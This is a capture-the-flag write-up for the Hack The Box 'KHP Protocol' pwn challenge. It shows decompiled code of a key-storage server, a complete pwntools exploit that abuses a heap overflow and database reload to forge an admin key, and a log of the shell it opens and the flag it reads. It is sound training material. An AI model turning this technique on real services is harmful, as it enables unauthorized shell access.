KHP Protocol

1) Checked security

2) Checked decompiled code

Decompile: main - (khp_server)

```
1
2 void main(int param_1,char **param_2)
3
4 {
5   int iVar1;
6   pthread_t local_48;
7   socklen_t local_3c;
8   sockaddr local_38;
9   int local_1c;
10  int local_18;
11  undefined8 local_14;
12  int local_c;
13
14  setvbuf(stdout,(char *)0x0,2,0);
15  setvbuf(stdin,(char *)0x0,2,0);
16  Log("Starting keys holder protocol server....");
17  local_14 = 0x30383038;
18  while( true ) {
19    local_18 = getopt(param_1,param_2,"p:h");
20    if (local_18 == -1) break;
21    if (local_18 == 0x68) {
22      ShowHelp();
23    }
24    else if (local_18 == 0x70) {
25      strncpy((char *)&local_14,optarg,8);
26    }
27    else {
28      ShowHelp();
29    }
30  }
31  local_3c = 0x10;
32  local_c = socket(2,1,0);
33  if (local_c == 0) {
34    Log("Socket creation failed");
35                    /* WARNING: Subroutine does not return */
36    exit(1);
37  }
38  local_18 = 1;
39  iVar1 = setsockopt(local_c,1,2,&local_18,4);
40  if (iVar1 != 0) {
41    Log("Setting socket options failed");
42                    /* WARNING: Subroutine does not return */
43    exit(1);
44  }
45  local_38.sa_family = 2;
46  local_38.sa_data[2] = '\0';
47  local_38.sa_data[3] = '\0';
48  local_38.sa_data[4] = '\0';
49  local_38.sa_data[5] = '\0';
50  iVar1 = atoi((char *)&local_14);
```

```
51    local_38.sa_data._0_2_ = htons((uint16_t)iVar1);
52    iVar1 = bind(local_c,&local_38,0x10);
53    if (iVar1 < 0) {
54      Log("Bind failed, check if the port is in use");
55                      /* WARNING: Subroutine does not return */
56      exit(1);
57    }
58    iVar1 = listen(local_c,10);
59    if (iVar1 < 0) {
60      Log("Listen failed");
61                      /* WARNING: Subroutine does not return */
62      exit(1);
63    }
64    Log("Listening on port -> %s",&local_14);
65    do {
66      local_1c = accept(local_c,&local_38,&local_3c);
67      if (local_1c < 0) {
68        Log("Accept failed");
69      }
70      Log("New client connected.");
71      iVar1 = pthread_create(&local_48,(pthread_attr_t *)0x0,StartService,&local_1c);
72      if (iVar1 != 0) {
73        Log("Can\'t start new thread.");
74      }
75      pthread_detach(local_48);
76    } while( true );
77  }
78
```

Decompile: StartService - (khp_server)

```
13        while( true ) {
14          while( true ) {
15            while( true ) {
16              while( true ) {
17                while( true ) {
18                  while( true ) {
19                    while( true ) {
20                      memset(local_108,0,0x100);
21                      Read(local_108);
22                      iVar1 = strncmp(local_108,"HELP",4);
23                      if (iVar1 != 0) break;
24                      SendHelp();
25                    }
26                    iVar1 = strncmp(local_108,"REKE",4);
27                    if (iVar1 != 0) break;
28                    RegisterNewKey(local_108);
29                  }
30                  iVar1 = strncmp(local_108,"DEKE",4);
31                  if (iVar1 != 0) break;
32                  DeleteKey(local_108);
33                }
34                iVar1 = strncmp(local_108,"DDKE",4);
35                if (iVar1 != 0) break;
36                DeleteKeyFromDB(local_108);
37              }
38              iVar1 = strncmp(local_108,"SAVE",4);
39              if (iVar1 != 0) break;
40              SaveKey(local_108);
41            }
42            iVar1 = strncmp(local_108,"AUTH",4);
43            if (iVar1 != 0) break;
44            Auth(local_108);
45          }
46          iVar1 = strncmp(local_108,"GTPR",4);
47          if (iVar1 != 0) break;
48          GetCurrentProfile();
49        }
50        iVar1 = strncmp(local_108,"RLDB",4);
51        if (iVar1 != 0) break;
52        ReLoadDB();
53      }
54      iVar1 = strncmp(local_108,"EXEC",4);
55      if (iVar1 != 0) break;
56      GetAShell();
57    }
58    iVar1 = strncmp(local_108,"EXIT",4);
59    if (iVar1 == 0) break;
60    Send("Unknown command.\n");
61  }
62  close(cli);
```

Decompile: SendHelp - (khp_server)

```
1
2 void SendHelp(void)
3
4 {
5   Send(
6       "\nHello in Keys Holding Protocol Server. \nAvailable Commands: \n\tREKE: Register new user:ke
        y. \n\tDEKE: Delete key, usage: DEKE ID (e.g DEKE 5) \n\tDDKE: Delete key from database, usage
        : DDKE ID (e.g DDKE 5) \n\tSAVE: To save a key, usage: SAVE ID (e.g SAVE 5) \n\tAUTH: Authenti
        cate with rgistered user:key, usage: AUTH ID (e.g AUTH 5) \n\tGTPR: Get current profile. \n\tR
        LDB: Reload the database. \n\tEXEC: Open a shell. (Only for Admins). \n\tHELP: To show this me
        ssage. \n\tEXIT: To exit. \n"
7       );
8   return;
9 }
10
```

Decompile: RegisterNewKey - (khp_server)

```
1
2  void RegisterNewKey(char *param_1)
3
4  {
5    long lVar1;
6    int iVar2;
7    char *pcVar3;
8    char *pcVar4;
9    char *pcVar5;
10   void *pvVar6;
11   size_t sVar7;
12
13   strtok(param_1," ");
14   pcVar3 = strtok((char *)0x0,":");
15   pcVar4 = strtok((char *)0x0," ");
16   pcVar5 = strtok((char *)0x0,";");
17   iVar2 = GetFreeId();
18   AVAIL_ID = iVar2;
19   if (iVar2 == 0) {
20     Send("No more available keys, please delete one or get an enterprise version.\n");
21   }
22   else {
23     pvVar6 = malloc(0x54);
24     *(void **)(IN_MEM_KEYS + (long)iVar2 * 8) = pvVar6;
25     malloc_usable_size(*(undefined8 *)(IN_MEM_KEYS + (long)AVAIL_ID * 8));
26     sprintf(*(char **)(IN_MEM_KEYS + (long)AVAIL_ID * 8),"%s:%s %s;",pcVar3,pcVar4,pcVar5);
27     lVar1 = *(long *)(IN_MEM_KEYS + (long)AVAIL_ID * 8);
28     sVar7 = strlen(*(char **)(IN_MEM_KEYS + (long)AVAIL_ID * 8));
29     *(undefined *)(sVar7 + lVar1) = 0;
30     Log("New user registered -> %s",pcVar3);
31     Log("New key registered with the id -> %d",AVAIL_ID);
32     Send("Registered: ID->%d\n",AVAIL_ID);
33   }
34   return;
35 }
36
```

Decompile: DeleteKey - (khp_server)

```
1
2  void DeleteKey(char *param_1)
3
4  {
5    int iVar1;
6    char *__nptr;
7
8    strtok(param_1," ");
9    __nptr = strtok((char *)0x0,"");
10   iVar1 = atoi(__nptr);
11   if (*(long *)(IN_MEM_KEYS + (long)iVar1 * 8) == 0) {
12     Send("No key to delete. \n");
13   }
14   else {
15     free(*(void **)(IN_MEM_KEYS + (long)iVar1 * 8));
16     *(undefined8 *)(IN_MEM_KEYS + (long)iVar1 * 8) = 0;
17     Send("Key deleted successfuly. \n");
18     Log("Key deleted -> %d",iVar1);
19   }
20   return;
21 }
22
```

Decompile: DeleteKeyFromDB - (khp_server)

```
{
  int iVar1;
  int __fd;
  char *pcVar2;
  size_t sVar3;
  size_t sVar4;
  ssize_t sVar5;

  strtok(param_1," ");
  pcVar2 = strtok((char *)0x0,"");
  if (pcVar2 == (char *)0x0) {
    Send("Id must be between 1 - 10. \n");
  }
  else {
    iVar1 = atoi(pcVar2);
    if (*(long *)(IN_MEM_KEYS + (long)iVar1 * 8) == 0) {
      Send("No key to delete. \n");
    }
    else {
      if (KEYS_BUF == (char *)0x0) {
        LoadKeysDB();
      }
      pcVar2 = strstr(KEYS_BUF,*(char **)(IN_MEM_KEYS + (long)iVar1 * 8));
      if (pcVar2 == (char *)0x0) {
        Send("Key doesn\'t exist in the database. \n");
      }
      else {
        sVar3 = strlen(*(char **)(IN_MEM_KEYS + (long)iVar1 * 8));
        sVar4 = strlen(pcVar2 + sVar3 + 1);
        memmove(pcVar2,pcVar2 + sVar3 + 1,sVar4 + 1);
        __fd = open(KEYS_DB_FILE,0x201);
        if (__fd == -1) {
          Log("Failed to open the keys file");
          Send("Error.");
        }
        else {
          sVar3 = strlen(KEYS_BUF);
          sVar5 = write(__fd,KEYS_BUF,sVar3);
          write(__fd,&DAT_001041cf,1);
          if ((int)sVar5 == -1) {
            Log("Error writing to the file");
            Send("Error.");
            close(__fd);
          }
          else {
            Send("Deleted. \n");
            Log("Key deleted from database-> %d",iVar1);
            close(__fd);
          }
        }
```

Decompile: SaveKey - (khp_server)

```
7   char *pcVar3;
8   size_t __n;
9   ssize_t sVar4;
10
11  strtok(param_1," ");
12  pcVar3 = strtok((char *)0x0,"");
13  if (pcVar3 == (char *)0x0) {
14    Send("Id must be between 1 - 10. \n");
15  }
16  else {
17    iVar1 = atoi(pcVar3);
18    if ((-1 < iVar1) && (iVar1 < 0xb)) {
19      if (*(long *)(IN_MEM_KEYS + (long)iVar1 * 8) == 0) {
20        Send("There is no key with the id -> %d \n",iVar1);
21      }
22      else {
23        pcVar3 = strstr(*(char **)(IN_MEM_KEYS + (long)iVar1 * 8),"admin");
24        if (pcVar3 == (char *)0x0) {
25          iVar2 = CheckIfKeyExist(iVar1);
26          if (iVar2 == 0) {
27            iVar2 = open(KEYS_DB_FILE,0x401);
28            if (iVar2 == -1) {
29              Log("Failed to open the keys file");
30              Send("Error.");
31            }
32            else {
33              __n = strlen(*(char **)(IN_MEM_KEYS + (long)iVar1 * 8));
34              sVar4 = write(iVar2,*(void **)(IN_MEM_KEYS + (long)iVar1 * 8),__n);
35              write(iVar2,&DAT_00104lcf,1);
36              if ((int)sVar4 == -1) {
37                Log("Error writing to the file");
38                Send("Error.");
39                close(iVar2);
40              }
41              else {
42                Send("Saved \n");
43                close(iVar2);
44              }
45            }
46          }
47          else {
48            Send("Key already exist in the database. \n");
49          }
50        }
51        else {
52          Send("You can\'t save keys with admin role from here.\n");
53        }
54      }
55    }
56  }
57  return;
```

Decompile: Auth - (khp_server)

```
1
2  void Auth(char *param_1)
3
4  {
5    int iVar1;
6    char *__nptr;
7    size_t __n;
8    char local_a8 [136];
9    char *local_20;
10   int local_14;
11   char *local_10;
12
13   local_10 = strtok(param_1," ");
14   __nptr = strtok((char *)0x0,"");
15   local_14 = atoi(__nptr);
16   if ((local_14 < 0) || (10 < local_14)) {
17     Send("Id should be between 1-10 only.\n");
18   }
19   else if (*(long *)(IN_MEM_KEYS + (long)local_14 * 8) == 0) {
20     Send("There is no key with the id -> %d \n",local_14);
21   }
22   else {
23     iVar1 = CheckIfKeyExist(local_14);
24     if (iVar1 == 0) {
25       Send("Key should be exist in the database to use it for authentication. \n");
26     }
27     else {
28       __n = strlen(*(char **)(IN_MEM_KEYS + (long)local_14 * 8));
29       strncpy(local_a8,*(char **)(IN_MEM_KEYS + (long)local_14 * 8),__n);
30       CURRENT_USER = strtok(local_a8,":");
31       local_20 = CURRENT_USER;
32       CURRENT_ROLE = strtok((char *)0x0," ");
33       CURRENT_PROFILE = *(undefined8 *)(IN_MEM_KEYS + (long)local_14 * 8);
34       local_20 = CURRENT_ROLE;
35       Send("Authenticated with id -> %d \nUser: %s:%s \n",local_14,CURRENT_USER,CURRENT_ROLE);
36     }
37   }
38   return;
39 }
40
```

Decompile: GetCurrentProfile - (khp_server)

```
1
2 void GetCurrentProfile(void)
3
4 {
5   char local_88 [128];
6
7   if (CURRENT_PROFILE == (char *)0x0) {
8     Send("You need to be authenticated. \n");
9   }
10  else {
11    strncpy(local_88,CURRENT_PROFILE,0x54);
12    Send("Profile: %s \n",local_88);
13  }
14  return;
15 }
16
```

Decompile: ReLoadDB - (khp_server)

```
1
2 void ReLoadDB(void)
3
4 {
5   int iVar1;
6
7   if (KEYS_BUF != (void *)0x0) {
8     free(KEYS_BUF);
9   }
10  iVar1 = LoadKeysDB();
11  if (iVar1 == 0) {
12    Send("DB can\'t be reloaded. \n");
13  }
14  else {
15    Send("DB reloaded successfuly.\n");
16  }
17  return;
18 }
19
```

Decompile: GetAShell - (khp_server)

```
1
2  void GetAShell(void)
3
4  {
5    int iVar1;
6
7    if (CURRENT_PROFILE == 0) {
8      Send("You need to be authenticated. \n");
9    }
10   else {
11     iVar1 = strcmp(CURRENT_ROLE,"admin");
12     if (iVar1 == 0) {
13       Send("You can run commands now.\n$ ");
14       dup2(cli,0);
15       dup2(cli,1);
16       dup2(cli,2);
17       execlp("/bin/sh","/bin/sh",0);
18     }
19     else {
20       Send("You need to be authenticated as admin to run this command \n");
21     }
22   }
23   return;
24 }
25
```

Decompile: LoadKeysDB - (khp_server)

```
1
2 undefined8 LoadKeysDB(void)
3
4 {
5   int iVar1;
6   undefined8 uVar2;
7   stat local_b8;
8   size_t local_20;
9   size_t local_18;
10  int local_c;
11
12  local_c = open(KEYS_DB_FILE,0);
13  if (local_c == -1) {
14    Log("Failed to open the keys file");
15    uVar2 = 0;
16  }
17  else {
18    iVar1 = fstat(local_c,&local_b8);
19    if (iVar1 == -1) {
20      Log("Error getting file information");
21      close(local_c);
22      uVar2 = 0;
23    }
24    else {
25      local_18 = local_b8.st_size;
26      KEYS_BUF = malloc(local_b8.st_size + 1);
27      if (KEYS_BUF == (void *)0x0) {
28        Log("Failed to allocate memory");
29        close(local_c);
30        uVar2 = 0;
31      }
32      else {
33        local_20 = read(local_c,KEYS_BUF,local_18);
34        if (local_20 == local_18) {
35          *(undefined *)(local_18 + (long)KEYS_BUF) = 0;
36          close(local_c);
37          Log("Database loaded successfuly");
38          uVar2 = 1;
39        }
40        else {
41          Log("Failed to read the file");
42          free(KEYS_BUF);
43          close(local_c);
44          uVar2 = 0;
45        }
46      }
47    }
48  }
49  return uVar2;
50 }
```

2) Exploit:

```
#!/usr/bin/env python3

from pwn import *

context(os='linux', arch='amd64', log_level='error')
context.terminal = ['tmux', 'splitw', '-h']
exe = ELF("./khp_server_patched")
libc = ELF("libc.so.6")
ld = ELF("./ld-2.35.so")
context.binary = exe

#b* RegisterNewKey+197\nc
# gdbio = gdb.debug(exe.path, 'c', api=True)
# sleep(1)
# io = remote("127.0.0.1", 8080)
io = remote("94.237.57.130", 51096)

def register_key(name, role, key):
    io.send(f"REKE {name}:{role} {key};".encode())
    res = io.recvline().decode()
    print(res)
    sleep(2)
    return int(res.rsplit("->")[-1])

def delete_key(id):
    io.sendline(f"DEKE {id}".encode())
    print(io.recvline().decode())

def delete_key_db(id):
    io.sendline(f"DDKE {id}".encode())
    print(io.recvline().decode())

def save_key(id):
    io.sendline(f"SAVE {id}".encode())
    print(io.recvline().decode())

def auth(id):
    io.sendline(f"AUTH {id}".encode())
    print(io.recvline().decode())

def reload_db():
    io.sendline("RLDB".encode())
    print(io.recvline().decode())

def shell():
    io.sendline("EXEC".encode())

def current_profile():
    io.sendline("GTPR".encode())
    print(io.recvline().decode())

def exit():
    io.sendline("EXIT".encode())
    print(io.recvline().decode())
```

```python
# write admin user into file
a_1 = register_key("master", "admiX:XXX;nn", "password")
save_key(a_1)
b_1 = register_key("test", "test", "test")
c_1 = register_key("X", "X", "X")
delete_key(b_1)
b_2 = register_key("aaaaaaa", "bbbbbbb", "c"*0x50+"X:XXX")
reload_db()
delete_key_db(c_1)
reload_db()
c_2 = register_key("master", "admin", "password")
auth(c_2)
shell()

io.interactive()
```

3) Flag

```
┌──(vigneswar㉿VigneswarPC)-[~/Pwn/KHP Protocol/pwn_khp_protocol/challenge]
└─$ python3 solve.py
Registered: ID->1

Saved

Registered: ID->2

Registered: ID->3

Key deleted successfuly.

Registered: ID->2

DB reloaded successfuly.

Deleted.

DB reloaded successfuly.

Registered: ID->4

Authenticated with id -> 4

User: master:admin
You can run commands now.
$ $ ls
Makefile
flag.txt
khp_func.h
khp_server
khp_server.c
users.keys
$ cat flag.txt
HTB{4_0_D4Y_70_H4CK_7H3_W0RLD}
$
```